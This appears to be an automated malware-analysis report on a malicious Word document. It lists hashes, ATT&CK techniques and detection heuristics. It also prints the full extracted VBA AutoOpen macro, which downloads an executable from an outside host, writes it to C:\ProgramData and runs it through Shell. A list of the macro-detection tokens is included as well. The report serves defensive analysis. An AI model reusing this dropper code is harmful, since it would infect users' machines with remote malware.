Office (OOXML) / .DOCX malware analysis — malicious · d44a9d8c73c3ccb8

MALICIOUS

Office (OOXML) / .DOCX

15.7 KB Created: 2024-12-09 07:34:00 UTC Authoring application: Microsoft Office Word 15.0000 First seen: 2026-06-24

MD5: 6cfbd2ef7f7222c38e724c3dc4ec1932 SHA-1: f1dd651a96b9669d6e20fc631d4439af97e8821e SHA-256: d44a9d8c73c3ccb81d90d03d511379c3c755e46e1b77acdb9cc79dcc1bab3e9f

350 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1105 Ingress Tool Transfer T1204.002 Malicious File

The sample is a malicious Office document containing VBA macros. The AutoOpen macro executes, downloading a file from the URL "http://52575815-38-20200406120634.webstarterz.com/pSRrNpLv0bS37RA.exe" and saving it as "C:\ProgramData\pSRrNpLv0bS37RA.exe". The script then attempts to execute the downloaded file using the Shell function, indicating a downloader or dropper functionality.

Heuristics 8

ClamAV: Doc.Dropper.Agent-6412232-1 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Dropper.Agent-6412232-1
VBA project inside OOXML medium 5 related findings OOXML_VBA

Document contains a VBA project — VBA macros present
Potential Shell call in VBA critical OLE_VBA_SHELL

Potential Shell call in VBA
Matched line in script
```
        Call Shell(strFile, vbNormalFocus)
```
VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC

VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
Matched line in script
```
            .Write objHTTP.responseBody
```
CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call
Matched line in script
```
    Set objHTTP = CreateObject("WinHttp.WinHttpRequest.5.1")
```
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
AutoOpen macro low OLE_VBA_AUTOOPEN

AutoOpen macro
Matched line in script
```
Sub AutoOpen()
```
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
URL http://52575815-38-20200406120634.webstarterz.com/pSRrNpLv0bS37RA.exe Referenced by macro
- http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasReferenced by macro
- http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
- http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
- http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingReferenced by macro
- http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
- http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
- http://schemas.microsoft.com/office/word/2010/wordmlReferenced by macro
- http://schemas.microsoft.com/office/word/2012/wordmlReferenced by macro
- http://schemas.microsoft.com/office/word/2010/wordprocessingGroupReferenced by macro
- http://schemas.microsoft.com/office/word/2010/wordprocessingInkReferenced by macro
- http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro
- http://schemas.microsoft.com/office/word/2010/wordprocessingShapeReferenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source from OOXML)	1513 bytes
SHA-256: `eafee8579d04e8ce3638aa0e5c08f9b736360b0ecc2e535ce1047fdbee01d2f1`
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Sub AutoOpen() Dim strURL As String Dim strFile As String Dim objHTTP As Object Dim objFSO As Object ' URL of the executable file to download strURL = "http://52575815-38-20200406120634.webstarterz.com/pSRrNpLv0bS37RA.exe" ' Destination file path where the downloaded executable will be saved strFile = "C:\ProgramData\pSRrNpLv0bS37RA.exe" ' Create a new instance of the WinHTTP object Set objHTTP = CreateObject("WinHttp.WinHttpRequest.5.1") ' Create a new instance of the FileSystemObject Set objFSO = CreateObject("Scripting.FileSystemObject") ' Download the file objHTTP.Open "GET", strURL, False objHTTP.Send ' Save the file if the request was successful If objHTTP.Status = 200 Then ' Create a binary stream and write the downloaded content to the file With CreateObject("ADODB.Stream") .Type = 1 ' Binary .Open .Write objHTTP.responseBody .SaveToFile strFile, 2 ' Overwrite .Close End With ' Execute the downloaded executable Call Shell(strFile, vbNormalFocus) Else End If End Sub
`vbaProject_00.bin`	vba-project	OOXML VBA project: word/vbaProject.bin	9728 bytes
SHA-256: `7708de6408de18ead7c6627f17e9c9f084bad38be5b9da49bb197f8ee381c0b1`
Detection ClamAV: Doc.Dropper.Agent-6412232-1 Obfuscation or payload: unlikely

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